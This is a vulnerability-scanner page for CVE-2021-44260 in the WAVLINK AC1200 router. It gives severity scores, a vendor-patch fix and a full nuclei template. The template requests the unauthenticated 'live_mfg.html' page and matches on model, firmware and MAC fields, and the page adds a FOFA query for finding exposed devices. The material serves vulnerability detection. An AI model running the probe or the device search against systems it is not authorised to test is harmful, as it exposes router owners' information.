WAVLINK AC1200 - Information Disclosure

highseverity

7.5CVSS score

6.4%likelihood of exploitation, next 30 days

94%of all CVEs are less likely

Readycheck to confirm it

A vulnerability is in the 'live_mfg.html' page of the WAVLINK AC1200, version WAVLINK-A42W-1.27.6-20180418, which can allow a remote attacker to access this page without any authentication. When processed, it exposes some key information of the manager of router.

Impact

Successful exploitation could lead to sensitive information disclosure.

Fix

Apply the latest security patches and updates from the vendor to address this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/live_mfg.html
Positive when: contains_all(body, "Model=", "FW_Version=", "LAN_MAC=", "Brand=") and status_code == 200

Run it with nuclei: nuclei -id CVE-2021-44260 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-44260

info:
  name: WAVLINK AC1200 - Information Disclosure
  author: ritikchaddha
  severity: high
  description: |
    A vulnerability is in the 'live_mfg.html' page of the WAVLINK AC1200, version WAVLINK-A42W-1.27.6-20180418, which can allow a remote attacker to access this page without any authentication. When processed, it exposes some key information of the manager of router.
  remediation: |
    Apply the latest security patches and updates from the vendor to address this vulnerability.
  impact: |
    Successful exploitation could lead to sensitive information disclosure.
  reference:
    - https://github.com/zer0yu/CVE_Request/blob/master/WAVLINK/WAVLINK_AC1200_unauthorized_access_vulnerability_first.md
    - https://nvd.nist.gov/vuln/detail/CVE-2021-44260
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-44260
    epss-score: 0.06427
    epss-percentile: 0.93759
    cpe: cpe:2.3:o:wavlink:wl-wn531g3_firmware:a42w-1.27.6-20180418:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: wavlink
    product: wl-wn531g3_firmware
    fofa-query: body="AC1200" && body="wavlink"
  tags: cve,cve2021,wavlink,exposure,ac1200,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/live_mfg.html"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "Model=", "FW_Version=", "LAN_MAC=", "Brand=")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from